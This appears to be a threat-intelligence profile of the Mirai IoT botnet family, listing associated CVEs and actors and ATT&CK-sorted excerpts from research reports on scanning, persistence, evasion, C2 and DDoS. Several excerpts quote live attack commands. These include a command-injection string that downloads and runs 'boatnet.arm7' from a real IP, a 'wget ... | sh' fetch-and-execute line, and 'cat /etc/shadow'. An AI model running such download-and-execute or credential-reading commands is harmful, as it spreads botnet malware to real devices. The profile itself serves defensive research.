Mirai
- Type
- Botnet
- Capabilities
- ScanningBrute forceDDOS
- Delivery
- Exploit kit
- Platforms
- LinuxIOTNetwork device
Mirai is a Linux-based botnet malware family that compromises internet-connected devices, particularly insecure cameras and routers, and recruits them for distributed denial-of-service (DDoS) attacks. First prominent in 2016, it scans for exposed Telnet services and attempts authentication using a hard-coded, limited set of default usernames and passwords. Compromised devices provide distributed infrastructure and bandwidth for remotely coordinated attacks capable of disrupting major websites and online services.
Mirai's leaked source code has spawned numerous derivative families, including Katana and AISURU, that retain its IoT recruitment model while modifying propagation methods, command-and-control protocols, or attack capabilities. Consequently, Mirai-related activity spans multiple botnets and operators rather than identifying a single threat actor. Its principal infection vector is direct compromise of exposed devices rather than user-mediated delivery.
Associated vulnerabilities
134 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
122 more CVEs associated with this family tracked in Mallory.
Associated threat actors
18 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Our analysis of the traffic revealed a direct connection to a Mirai botnet, and we were able to identify a specific malware file: k24mdgoqe.exe , with the SHA-256 hash ea6b72c913dbeb6104b98e5fbfa084b0aabf61eac0ca861e22505631e135ac1c .
An open directory is serving a Mirai variant across 14 CPU architectures ... It kills competitors by SHA256 hash, persists through six layers, and hides as a kernel thread.
“Standard Mirai: telnet scanning, UDP/TCP/GRE/HTTP floods.” The xdlol variant is described as “Extended Mirai (~2020 source base) with IoT exploit scanners.”
“Integrity Tech built and ran a botnet made up of infected Internet of Things (IoT) devices running a version of the Mirai malware.”
Court documents allege that Integrity Tech created and operated an IoT botnet that leveraged a variant of the Mirai malware.
Analysis of the Scar rental botnet confirmed that the group contains not only the new botnet family found this time, but also other botnet families Mirai and Moobot.
+12 more in the app. View in Mallory
Techniques & procedures
101 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
3 techniques
Reconnaissance
vendors like one cybersecurity technology services company observed the use of botnets to automate the reconnaissance process to quickly identify vulnerable targets
“23/TCP was the most frequently observed port on most sensors... traffic targeting 80/TCP, 8080/TCP, and 22/TCP was observed by almost all sensors. This suggests that scanning activity targeting these ports is being conducted across a wide range of networks.”
C2 server (130.12.180.151) tagged as active scanner ... each bot scans random IP space for Telnet/SSH.
Resource Development
8 techniques
Resource Development
The actor operated the exposed panel at 107.158.128[.]79 and staged Mirai payloads from 45.141.26[.]73.
This string has been observed in open source as an initial step of the Mirai botnet to download malicious artifacts.
“botnet victims… excessive use of bot attacks… propagating vast amounts of spam… Dyn cyberattack… botnet consisting of IOTs infected with Mirai…”
Les appareils de streaming proposant du contenu piraté gratuit constituent un vecteur privilégié de recrutement de ces nœuds... Les malwares transforment les SuperBox en nœuds de réseaux proxy supplémentaires ou en membres de botnets DDoS.
Útočníci kompromitované zariadenia zapájajú do rôznych botnetov, vrátane botnetov na báze Mirai.
2025年6月ごろから観測されたパケットはMiraiの特徴を持っていませんが、やはりボット化した機器からのもので、パケットの特徴が違うだけでなく、攻撃対象とするIoT機器も異なっていました。
Mirai’s operators scanned the internet for IoT devices, including large numbers of IP-connected security cameras and DVRs, and compromised them at scale... Those compromised cameras were recruited into a botnet...
Multi-arch payloads staged on distribution server ... Binaries were retrieved live from the distribution server for all 10 variants
Initial Access
4 techniques
Initial Access
After the first login into the new victim device, it sent its IP and working credentials to the report/loader server.
The observed traffic focused on port 23, commonly used by Telnet... Mirai families have repeatedly abused weak credentials and reachable remote services.
Интерфейс ADB, который используется для удаленного управления и отладки Android-устройств, доступен извне.
The most commonly abused trigger is a multipart POST carrying a PHP_SESSION_UPLOAD_PROGRESS field, which works against the default configuration.
Execution
12 techniques
Execution
including brute forcing over telnet, SSH, WMI, SQL injection, and IPC techniques.
It copies itself to the tasks directory, and installs itself as a scheduled job. c:\windows\tasks\my1.job
MITRE ATT&CK Mapping ... Persistence T1053.003 Crontab Crontab manipulation on compromised devices
The server then executes the attacker’s shell command ( id , or wget , or anything ) with full Node.js privileges.
This file is a command shell script that registers a variety of files, including database connectivity libraries, and cleans up unneeded traces of itself on the system.
Un honeypot ADB captured 1,352 attack sessions; Mirai delivery used raw Netcat TCP, while other families downloaded and executed payloads on SuperBox devices.
This will then run the malicious Java code located at http://{malicious website}/{malicious.class} .
An attacker can send malicious data that executes arbitrary code on your servers before any authentication occurs.
$( cd /tmp ; wget http://176.65.144[.]253/hiddenbin/boatnet.arm7 ; chmod 777 boatnet.arm7 ; ./boatnet.arm7 geovision ; )
wget -qO- hxxp://38.165.44[.]205/s | sh
"React2Shell exploit attempts across major cloud platforms... targeted cloud instances hosted containers, including Kubernetes..."
the disclosure comes shortly after threat actors weaponized another critical cPanel flaw, tracked as CVE-2026-41940, as a zero-day to deploy Mirai botnet variants.
Persistence
11 techniques
Persistence
...добавляет init- и rc-скрипты, меняет стартовые файлы оболочки...
It copies itself to the tasks directory, and installs itself as a scheduled job. c:\windows\tasks\my1.job
MITRE ATT&CK Mapping ... Persistence T1053.003 Crontab Crontab manipulation on compromised devices
After the first login into the new victim device, it sent its IP and working credentials to the report/loader server.
The observed traffic focused on port 23, commonly used by Telnet... Mirai families have repeatedly abused weak credentials and reachable remote services.
reg delete “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v shell /f
Интерфейс ADB, который используется для удаленного управления и отладки Android-устройств, доступен извне.
Также для закрепления в системе Tengu создает фиктивный systemd...
Looking at one of the sessions with a higher frequency of command run shows an ELF executable being constructed byte by byte... ELF executable being constructed byte by byte (file name "anthrax").
Att&ck IDs: T1547 - Boot or Logon Autostart Execution
CVE-2026-41940 – the auth bypass that preceded all of this was CVSS 9.8. It was rooted in CRLF injection that let unauthenticated attackers poison session files and bypass authentication entirely.
Privilege Escalation
10 techniques
Privilege Escalation
...добавляет init- и rc-скрипты, меняет стартовые файлы оболочки...
It copies itself to the tasks directory, and installs itself as a scheduled job. c:\windows\tasks\my1.job
MITRE ATT&CK Mapping ... Persistence T1053.003 Crontab Crontab manipulation on compromised devices
The PoC published last month automates the process of logging into a remote ZyXEL device using one of the two Telnet passwords, and then uses the hardcoded su password to gain root privileges.
After the first login into the new victim device, it sent its IP and working credentials to the report/loader server.
The observed traffic focused on port 23, commonly used by Telnet... Mirai families have repeatedly abused weak credentials and reachable remote services.
Также для закрепления в системе Tengu создает фиктивный systemd...
Looking at one of the sessions with a higher frequency of command run shows an ELF executable being constructed byte by byte... ELF executable being constructed byte by byte (file name "anthrax").
Att&ck IDs: T1547 - Boot or Logon Autostart Execution
Binaire su accordant l’accès root sans authentification... Les applications pré-installées ou disponibles via le store SuperBox s’exécutent en root.
Stealth
16 techniques
Stealth
To impede analysis, Mirai samples store those credentials in an encoded form and decode them at runtime using a simple XOR with a constant.
“By leveraging the UPX executable packer, threat actors can avoid standard heuristic detection methodologies.”
Keylogger (hosted as comments within jpeg files) This botnet operator hosts components embedded within jpeg comments, a technique they have been using since 2013.
When successfully infected, Mirai obfuscated its presence by deleting the malware binaries and randomizing the name of the running process.
Process rename : The bot renames itself to y_BackwaH3N using prctl(PR_SET_NAME) — a standard Mirai technique to hide from ps output inspection.
When successfully infected, Mirai obfuscated its presence by deleting the malware binaries and randomizing the name of the running process.
The observed command sequence ends with “rm $0”.
After the first login into the new victim device, it sent its IP and working credentials to the report/loader server.
The observed traffic focused on port 23, commonly used by Telnet... Mirai families have repeatedly abused weak credentials and reachable remote services.
Afterward, it walks over the copied string and decrypts it bytewise by xoring each byte with 0x22.
CVE-2026-41940 is an authentication bypass flaw affecting cPanel and WHM versions after 11.40. A weakness in the login flow allows remote attackers to skip or manipulate authentication checks, granting access to the control panel without valid credentials.
The malware checks the running process names on the infected host to terminate them. The malware also contains a function that ensures the device is running only one instance of this malware.
The client avoids execution for a list of IP blocks, including government networks, internet providers and large tech companies.
“The malware payload then installs itself in different directories under the hidden folder ‘z’” and “evade detection by hiding within legitimate files and directories.”
once the malware compromises a gateway product, it deletes itself and lives only in memory
Anti-debug trap -- Installs SIGTRAP handler via signal(SIGTRAP, &anti_gdb_entry)... Under GDB, SIGTRAP is intercepted by the debugger, so the function pointer is never set and the bot never resolves its C2.
Defense Impairment
7 techniques
Defense Impairment
reg delete “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v shell /f
Using wget command, fetches the payload. Gives the execution permission to the payload using the chmod command. Executes the payload. Removes the payload.
“chmod 777 condi.arm; ./condi.arm android”
Some of the bot executables are signed with certificates stolen from Chinese manufacturers.
CVE-2026-41940 – the auth bypass that preceded all of this was CVSS 9.8. It was rooted in CRLF injection that let unauthenticated attackers poison session files and bypass authentication entirely.
« Élimination de la concurrence : Tue les processus wget, curl, sshd et les processus Mirai/Gafgyt »
“Additionally, the malware deletes log files…”
Credential Access
5 techniques
Credential Access
cat /etc/shadow
MITRE describes Conficker as a worm that spread using the MS08-067 Windows vulnerability and notes that it also relied on dictionary attacks against administrator passwords.
“This version attempts to gain access to systems by guessing user passwords via SSH channels” and “uses various techniques to gain access to systems, such as SSH brute force attacks, to guess user passwords.”
Att&ck IDs: T1552 - Unsecured Credentials
CVE-2026-41940 – the auth bypass that preceded all of this was CVSS 9.8. It was rooted in CRLF injection that let unauthenticated attackers poison session files and bypass authentication entirely.
Discovery
8 techniques
Discovery
Single-instance enforcement -- Binds a TCP socket to 127.0.0.1:48101. If the port is already bound, it connects to the existing instance... then calls killer_kill_by_port() to forcibly terminate the old process.
Mirai-derived code can use that foothold to probe exposed services, spread through additional targets, or supply traffic for denial-of-service operations.
« Tue les processus wget, curl, sshd et les processus Mirai/Gafgyt »
“The new Mirai malware variant uses the ‘uname’ system call…”
add_entry(TABLE_KILLER_PROC, ...); // /proc ... add_entry(TABLE_KILLER_EXE, ...); // /exe ... add_entry(TABLE_KILLER_FD, ...); // /fd ... add_entry(TABLE_KILLER_STATUS, ...); // /status
The client avoids execution for a list of IP blocks, including government networks, internet providers and large tech companies.
Performs memory scanning of /proc/$pid/exe against signatures for known competing botnets: QBOT/Bashlite variants... UPX-packed binaries... Zollard worm... Remaiten...
Anti-debug trap -- Installs SIGTRAP handler via signal(SIGTRAP, &anti_gdb_entry)... Under GDB, SIGTRAP is intercepted by the debugger, so the function pointer is never set and the bot never resolves its C2.
Lateral Movement
6 techniques
Lateral Movement
Recently, we’ve seen that Mirai is widening its distribution capabilities through a Windows Trojan that scans for more ports than previous versions. It checks if the following ports are open: 22 (SSH), 23 (Telnet), 135 (DCE/RPC), 445 (Active Directory), 1433 (MSSQL), 3306 (MySQL) and 3389 (RDP).
The observed traffic focused on port 23, commonly used by Telnet, a legacy remote-access protocol that should not be exposed.
[Cracker:IPC]
Analysts at JPCERT/CC identified a sudden increase in Mirai-like packets aimed at TCP port 23... The observed traffic focused on port 23, commonly used by Telnet.
The Mirai Botnet has been one of the most destructive malware that takes control of unprotected consumer devices connected to the internet such as home routers and IP cameras.
Once these services are identified, the threat actors try to deploy their payload.
Collection
1 technique
Collection
Keylogger (hosted as comments within jpeg files) This botnet operator hosts components embedded within jpeg comments
Command and Control
19 techniques
Command and Control
The IZ1H9 variant uses a table key during the string decryption process: 0xBAADF00D ... For each encrypted character, the malware performs XOR decryption... The original Mirai and IZ1H9 also both encrypt their login credentials with a 1 byte XOR key.
In a UDP-BYPASS attack, Momentum floods the target host by constructing and unloading a legitimate UDP payload on a specific port.
At the function beginning, since there are as much as 3 C2 controllers are hardcoded in the sample, a random number is generated to randomly select a C2 server from the first and second ones... If the selected C2 domain fails to resolve... the bot will take a judge to decide whether to take the DGA branch or to resolve the 3rd C2 domain according to current date.
Moobot communicates with infected systems using a variant of the custom protocol used by Mirai. Similar to a traditional IRC bot, ... a bot maintains a persistent connection with the C2 server.
HTTP/S was used for panel APIs, JS staging, challenge/response traffic, and ClickFix command retrieval.
The binary queries datasurge-bot.com for a TXT record to dynamically retrieve the C2 server address.
Apart from DoS attacks, we found that Momentum is also capable of other actions: opening a proxy on a port on a specified IP...
Les attaquants recourent massivement aux réseaux proxy résidentiels... Une connexion sortante chiffrée et persistante vers un serveur proxy est maintenue.
Cybercriminals can make use of these networks to channel their traffic through these nodes, making the traffic appear to originate from an IP address they do not control.
The binary protocol used by Condi to communicate with the C2 server is a modified version of that initially implemented in Mirai.
wget http://200.150.205.65/8UsA.sh; curl -O http://200.150.205.65/8UsA.sh
Base64 code has also been identified ... Upon decoding, it was discerned that subsequent to compromising a victim machine, it initiated contact with a URL to fetch a shell script.
Once established and having removed all possible interference, it was ready to wait for C2 commands, while constantly scanning for new victims...
Detailed RE work shows there does exist a DGA feature in the newly distributed MIRAI samples spread through TCP ports 7547 and 5555... 3 TLDs are used: online/tech/support... only one domain is generated in one single day... the DGA domains are only used when the hardcoded C2 domains fail to resolve.
The Momentum botnet uses the fast flux technique in order to make its command and control network more resilient.
A Domain Generation Algorithm (DGA) creates numerous domain names, serving as meeting points for malware C&C servers. DGAs help malware evade security measures by generating new, random domains, making it challenging for victims to block or remove them during cyberattacks.
Port Rebinding Kills services on ports 23 (telnet), 22 (SSH), and 80 (HTTP)... then binds to those ports itself. This prevents the legitimate services from restarting...
Port 27015/27016 Analysis ... Botnet C2 channels — using game server protocols as covert communication channels to blend with legitimate gaming traffic ... MITRE ATT&CK Mapping ... Protocol Tunneling T1572 Possible game protocol tunneling on 27015/27016
"Evasive command-and-control techniques, including domain-fluxing and encrypted command channels"
Impact
11 techniques
Impact
Competition elimination : The bot checks for and kills processes matching blacklisted patterns ... Also observed: pkill -9 nc (kills netcat backdoors left by other actors).
Cryptocurrency-mining malware employ the same modus operandi as many other threats—from malware-toting spam emails and downloads from malicious URLs to junkware and potentially unwanted applications (PUAs).
Mirai-derived code can use that foothold to probe exposed services, spread through additional targets, or supply traffic for denial-of-service operations.
The malware uses known reflection and amplifications methods that have a variety of targets: MEMCACHE, LDAP, DNS and Valve Source Engine.
Unauthenticated sessions remain open, causing resource consumption. For example, an attacker can send a recognized username (such as root), or can send arbitrary data.
«В 2016 году ботнет Mirai ... ударил по DNS-провайдеру Dyn через OS Exhaustion Flood (T1499.001, Impact по ATT&CK)».
Water torture / NXDOMAIN flood (Service Exhaustion Flood, T1499.002; Application Exhaustion Flood, T1499.003, Impact) - атака на уровне приложения. Объём трафика может быть скромным, но каждый запрос заставляет рекурсор выполнить полный цикл резолвинга.
Water torture / NXDOMAIN flood (Service Exhaustion Flood, T1499.002; Application Exhaustion Flood, T1499.003, Impact) - атака на уровне приложения.
“EDT uses the FloodNet software to bombard its opponents with access requests… Estonia… massive denial-of-service… Dyn cyberattack… botnet… Mirai…”
These behaviors include deleting data, writing junk data on specific device paths, and rebooting devices.
Jha and White would target organizations with DDoS attacks and then either extort them for money to call off the attacks, or try to sell those companies services they claimed could uniquely help fend off the attacks.
Observables
2,696 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
200 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.